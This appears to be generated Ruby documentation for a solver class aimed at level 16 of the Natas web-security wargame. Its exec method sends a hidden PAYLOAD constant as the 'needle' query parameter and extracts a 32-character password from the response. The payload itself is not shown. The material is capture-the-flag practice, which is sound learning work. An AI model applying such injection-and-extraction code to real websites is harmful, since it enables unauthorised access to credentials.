class NatasLevel16

Level 16

Constants

LEVEL
PAGE
PAYLOAD

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 509
def exec
  query = URI.encode_www_form('needle' => PAYLOAD)
  data = get("#{PAGE}?#{query}").body
  match = %r(<pre>\n(\w{32})\n</pre>).match(data)
  not_found unless match
  found(match[1])
end